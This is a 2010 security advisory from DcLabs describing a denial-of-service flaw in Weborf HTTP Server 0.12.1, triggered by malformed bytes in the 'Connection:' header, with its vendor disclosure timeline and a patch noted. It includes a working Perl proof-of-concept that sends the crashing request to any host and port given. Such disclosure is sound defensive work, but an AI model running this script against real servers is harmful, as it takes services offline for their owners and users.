[DCA-0012]

[Software]
- Weborf HTTP Server

[Vendor Product Description]
- Weborf is a lightweight Web server written in C. It supports IPv6
and basic authentication. It doesn't implement the full HTTP
specification, but can be used to easily share directories or files.

[Bug Description]
- Weborf HTTP Server can't handle unicode characters in "Connection: "
general header-field leading to a Denial-of-Service flaw

[History]
- Advisory sent to vendor on 06/21/2010.
- Vendor reply 06/22/2010.
- Vendor patch published 06/23/2010


[Impact]
- Low

[Affected Version]
-Weborf 0.12.1
- Prior versions may also be vulnerable.

[Exploit]

#!/usr/bin/perl
use IO::Socket;

        if (@ARGV < 1) {
                usage();
        }

        $ip     = $ARGV[0];
        $port   = $ARGV[1];

        print "[+] Sending request...\n";

        $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";
        print $socket "GET / HTTP/1.0\r\n";
        print $socket "Connection: ". "\0x99" x 4 ."\r\n\r\n";

        close($socket);

        print "[+] Done!\n";

sub usage() {
        print "[-] Usage: <". $0 ."> <host> <port>\n";
        print "[-] Example: ". $0 ." 127.0.0.1 80\n";
        exit;
}
----------------------------------------------------------------------------------------

DcLabs Security Group
Sponsor: ipax
ipax@dclabs.com.br

[Credits]
Crash and all DcLabs members.